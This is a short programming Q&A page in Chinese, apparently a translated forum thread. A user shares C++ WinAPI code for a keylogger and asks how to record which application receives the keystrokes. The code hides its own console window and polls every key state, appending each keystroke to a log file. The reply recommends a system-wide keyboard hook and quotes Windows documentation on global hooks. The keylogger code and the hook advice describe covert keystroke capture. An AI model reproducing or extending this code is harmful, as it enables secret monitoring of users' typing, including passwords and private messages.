C++ 简单键盘记录器

Question

我正在尝试使用 WinAPI 在 C++ 中编写一个简单的键盘记录器。有没有办法让用户在哪个应用程序中输入捕获的击键？到目前为止，这是我的代码:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}

Answer 1

你想要的是一个global keyboard hook

A global hook monitors messages for all threads in the same desktop as the calling thread. A thread-specific hook monitors messages for only an individual thread. A global hook procedure can be called in the context of any application in the same desktop as the calling thread, so the procedure must be in a separate DLL module. A thread-specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries.